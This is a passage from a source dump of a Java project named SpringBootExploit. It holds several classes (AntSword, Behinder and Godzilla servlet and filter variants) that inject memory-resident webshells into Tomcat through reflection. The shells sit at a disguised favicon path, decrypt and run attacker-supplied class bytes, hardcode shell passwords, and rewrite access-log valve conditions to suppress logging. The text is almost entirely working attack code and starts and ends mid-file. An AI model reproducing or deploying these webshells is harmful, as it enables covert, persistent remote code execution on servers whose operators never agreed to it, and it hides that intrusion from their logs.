public void destroy() {
}
}
SpringBootExploit-1.1/src/main/java/com/drops/x/AntSwordServlet.java 0000664 0000000 0000000 00000034635 14121252536 0025603 0 ustar 00root root 0000000 0000000
package com.drops.x;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationServletRegistration;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public final class AntSwordServlet extends ClassLoader implements Servlet {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String Pwd = "pass1024";
public String path = "/favicondemo.ico";
public AntSwordServlet() {
}
public AntSwordServlet(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = this.request.getHeader("p");
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addServlet());
} catch (Exception var7) {
output.append("ERROR:// " + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public String addServlet() throws Exception {
ServletContext servletContext = this.request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade)servletContext;
Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(applicationContextFacade);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(this.path);
standardContext.addChild(wrapper);
wrapper.setServletClass(this.path);
wrapper.setServlet(this);
Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
registration.addMapping(new String[]{this.path});
registration.setLoadOnStartup(1);
if (this.getMethodByClass(wrapper.getClass(), "setServlet", Servlet.class) == null) {
this.transform(standardContext, this.path);
this.init((ServletConfig)getFieldValue(wrapper, "facade"));
}
return "Success";
}
private void transform(Object standardContext, String path) throws Exception {
Object containerBase = this.invoke(standardContext, "getParent", (Object[])null);
Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader());
Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners");
listenersField.setAccessible(true);
ArrayList listeners = (ArrayList)listenersField.get(containerBase);
for(int i = 0; i < listeners.size(); ++i) {
Object mapperListener_Mapper = listeners.get(i);
if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) {
Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper");
Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts");
for(int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) {
Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j);
Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList");
Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts");
for(int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) {
Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k);
if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) {
new ArrayList();
Object standardContext_Mapper = this.invoke(standardContext, "getMapper", (Object[])null);
Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context");
Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers");
Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers");
int l;
Object Mapper_Wrapper;
Method addWrapperMethod;
for(l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) {
Mapper_Wrapper = Array.get(mapperListener_Mapper_hosts_contextList_context_exactWrappers, l);
if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("removeWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class);
addWrapperMethod.setAccessible(true);
addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path);
}
}
for(l = 0; l < Array.getLength(standardContext_Mapper_Context_exactWrappers); ++l) {
Mapper_Wrapper = Array.get(standardContext_Mapper_Context_exactWrappers, l);
if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("addWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class, Object.class);
addWrapperMethod.setAccessible(true);
addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path, getFieldValue(Mapper_Wrapper, "object"));
}
}
}
}
}
}
}
}
private Object invoke(Object obj, String methodName, Object... parameters) {
try {
ArrayList classes = new ArrayList();
if (parameters != null) {
for(int i = 0; i < parameters.length; ++i) {
Object o1 = parameters[i];
if (o1 != null) {
classes.add(o1.getClass());
} else {
classes.add((Object)null);
}
}
}
Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])((Class[])classes.toArray(new Class[0])));
return method.invoke(obj, parameters);
} catch (Exception var7) {
return null;
}
}
private Method getMethodByClass(Class cs, String methodName, Class... parameters) {
Method method = null;
while(cs != null) {
try {
method = cs.getDeclaredMethod(methodName, parameters);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
return method;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
Method method = null;
Class cs = obj.getClass();
while(cs != null) {
try {
f = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
private void noLog(HttpServletRequest request) throws Exception {
Object servletContext = getFieldValue(request.getServletContext(), "context");
Object standardContext = getFieldValue(servletContext, "context");
try {
ArrayList arrayList;
for(arrayList = new ArrayList(); standardContext != null; standardContext = this.invoke(standardContext, "getParent", (Object[])null)) {
arrayList.add(standardContext);
}
label49:
for(int i = 0; i < arrayList.size(); ++i) {
Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null);
if (pipeline != null) {
Object valve = this.invoke(pipeline, "getFirst", (Object[])null);
while(true) {
while(true) {
if (valve == null) {
continue label49;
}
if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) {
String condition = (String)this.invoke(valve, "getCondition");
condition = condition == null ? "FuckLog" : condition;
this.invoke(valve, "setCondition", condition);
this.request.setAttribute(condition, condition);
valve = this.invoke(valve, "getNext", (Object[])null);
} else if (Class.forName("org.apache.catalina.Valve", false, standardContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) {
valve = this.invoke(valve, "getNext", (Object[])null);
} else {
valve = null;
}
}
}
}
}
} catch (Exception var9) {
}
}
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest)servletRequest;
HttpServletResponse res = (HttpServletResponse)servletResponse;
try {
this.noLog(req);
} catch (Exception var8) {
}
String cls = req.getParameter(this.Pwd);
if (cls != null) {
try {
(new AntSwordServlet(this.getClass().getClassLoader())).g(this.base64Decode(cls)).newInstance().equals(new Object[]{req, res});
} catch (Exception var7) {
}
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
}
}
public void init(ServletConfig paramServletConfig) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public String getServletInfo() {
return "";
}
public void destroy() {
}
}
SpringBootExploit-1.1/src/main/java/com/drops/x/BehinderFilter.java 0000664 0000000 0000000 00000020554 14121252536 0025356 0 ustar 00root root 0000000 0000000
package com.drops.x;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.Map;
public final class BehinderFilter extends ClassLoader implements Filter {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String Pwd = "eac9fa38330a7535";
public String path = "/favicondemo.ico";
public BehinderFilter() {
}
public BehinderFilter(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
} catch (Exception var3) {
}
return ret;
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = md5(this.request.getHeader("p"));
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addFilter());
} catch (Exception var7) {
output.append("ERROR:// " + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public String addFilter() throws Exception {
ServletContext servletContext = this.request.getServletContext();
Filter filter = this;
String filterName = this.path;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
Dynamic filterRegistration = null;
String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext)contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;
Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var21) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}
Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[])((Object[])findFilterMaps.invoke(standardContext));
for(int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String)findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}
String var25 = "Success";
return var25;
} catch (Exception var22) {
var11 = var22.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}
return var11;
} else {
return "Filter already exists";
}
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpSession session = ((HttpServletRequest)req).getSession();
Map obj = new HashMap();
obj.put("request", req);
obj.put("response", resp);
obj.put("session", session);
try {
session.putValue("u", this.Pwd);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var7) {
var7.printStackTrace();
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {
}
}
SpringBootExploit-1.1/src/main/java/com/drops/x/BehinderServlet.java 0000664 0000000 0000000 00000037150 14121252536 0025555 0 ustar 00root root 0000000 0000000
package com.drops.x;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationServletRegistration;
import org.apache.catalina.core.StandardContext;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map;
public final class BehinderServlet extends ClassLoader implements Servlet {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String Pwd = "eac9fa38330a7535";
public String path = "/favicondemo.ico";
public BehinderServlet() {
}
public BehinderServlet(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
} catch (Exception var3) {
}
return ret;
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = md5(this.request.getHeader("p"));
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addServlet());
} catch (Exception var7) {
output.append("ERROR:// " + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public String addServlet() throws Exception {
try {
ServletContext servletContext = this.request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade)servletContext;
Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(applicationContextFacade);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(this.path);
standardContext.addChild(wrapper);
wrapper.setServletClass(this.path);
wrapper.setServlet(this);
Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
registration.addMapping(new String[]{this.path});
registration.setLoadOnStartup(1);
if (this.getMethodByClass(wrapper.getClass(), "setServlet", Servlet.class) == null) {
this.transform(standardContext, this.path);
this.init((ServletConfig)getFieldValue(wrapper, "facade"));
}
return "Success";
} catch (Exception var9) {
return var9.getMessage();
}
}
public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
HttpSession session = ((HttpServletRequest)req).getSession();
Map obj = new HashMap();
obj.put("request", req);
obj.put("response", resp);
obj.put("session", session);
try {
this.noLog((HttpServletRequest)req);
session.putValue("u", this.Pwd);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
(new BehinderServlet(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
} catch (Exception var6) {
var6.printStackTrace();
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
} catch (Exception var5) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
}
}
private void transform(Object standardContext, String path) throws Exception {
Object containerBase = this.invoke(standardContext, "getParent", (Object[])null);
Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader());
Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners");
listenersField.setAccessible(true);
ArrayList listeners = (ArrayList)listenersField.get(containerBase);
for(int i = 0; i < listeners.size(); ++i) {
Object mapperListener_Mapper = listeners.get(i);
if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) {
Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper");
Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts");
for(int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) {
Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j);
Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList");
Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts");
for(int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) {
Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k);
if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) {
new ArrayList();
Object standardContext_Mapper = this.invoke(standardContext, "getMapper", (Object[])null);
Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context");
Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers");
Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers");
int l;
Object Mapper_Wrapper;
Method addWrapperMethod;
for(l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) {
Mapper_Wrapper = Array.get(mapperListener_Mapper_hosts_contextList_context_exactWrappers, l);
if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("removeWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class);
addWrapperMethod.setAccessible(true);
addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path);
}
}
for(l = 0; l < Array.getLength(standardContext_Mapper_Context_exactWrappers); ++l) {
Mapper_Wrapper = Array.get(standardContext_Mapper_Context_exactWrappers, l);
if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("addWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class, Object.class);
addWrapperMethod.setAccessible(true);
addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path, getFieldValue(Mapper_Wrapper, "object"));
}
}
}
}
}
}
}
}
private Object invoke(Object obj, String methodName, Object... parameters) {
try {
ArrayList classes = new ArrayList();
if (parameters != null) {
for(int i = 0; i < parameters.length; ++i) {
Object o1 = parameters[i];
if (o1 != null) {
classes.add(o1.getClass());
} else {
classes.add((Object)null);
}
}
}
Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])((Class[])classes.toArray(new Class[0])));
return method.invoke(obj, parameters);
} catch (Exception var7) {
return null;
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
f.set(obj, value);
}
private Method getMethodByClass(Class cs, String methodName, Class... parameters) {
Method method = null;
while(cs != null) {
try {
method = cs.getDeclaredMethod(methodName, parameters);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
return method;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
Method method = null;
Class cs = obj.getClass();
while(cs != null) {
try {
f = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
private void noLog(HttpServletRequest request) throws Exception {
Object servletContext = getFieldValue(request.getServletContext(), "context");
Object standardContext = getFieldValue(servletContext, "context");
try {
ArrayList arrayList;
for(arrayList = new ArrayList(); standardContext != null; standardContext = this.invoke(standardContext, "getParent", (Object[])null)) {
arrayList.add(standardContext);
}
label49:
for(int i = 0; i < arrayList.size(); ++i) {
Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null);
if (pipeline != null) {
Object valve = this.invoke(pipeline, "getFirst", (Object[])null);
while(true) {
while(true) {
if (valve == null) {
continue label49;
}
if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) {
String condition = (String)this.invoke(valve, "getCondition");
condition = condition == null ? "FuckLog" : condition;
this.invoke(valve, "setCondition", condition);
this.request.setAttribute(condition, condition);
valve = this.invoke(valve, "getNext", (Object[])null);
} else if (Class.forName("org.apache.catalina.Valve", false, standardContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) {
valve = this.invoke(valve, "getNext", (Object[])null);
} else {
valve = null;
}
}
}
}
}
} catch (Exception var9) {
}
}
public void init(ServletConfig paramServletConfig) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public String getServletInfo() {
return "";
}
public void destroy() {
}
}
SpringBootExploit-1.1/src/main/java/com/drops/x/GodzillaFilter.java 0000664 0000000 0000000 00000024410 14121252536 0025376 0 ustar 00root root 0000000 0000000
package com.drops.x;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.EnumSet;
public class GodzillaFilter extends ClassLoader implements Filter {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
String xc = "3c6e0b8a9c15224a";
public String Pwd = "pass1024";
public String path = "/favicondemo.ico";
String md5;
public String cs;
public GodzillaFilter() {
this.md5 = md5(this.Pwd + this.xc);
this.cs = "UTF-8";
}
public GodzillaFilter(ClassLoader z) {
super(z);
this.md5 = md5(this.Pwd + this.xc);
this.cs = "UTF-8";
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
value = (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])((byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
} catch (Exception var5) {
}
}
return value;
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = this.request.getHeader("p");
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addFilter());
} catch (Exception var7) {
output.append("error:" + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
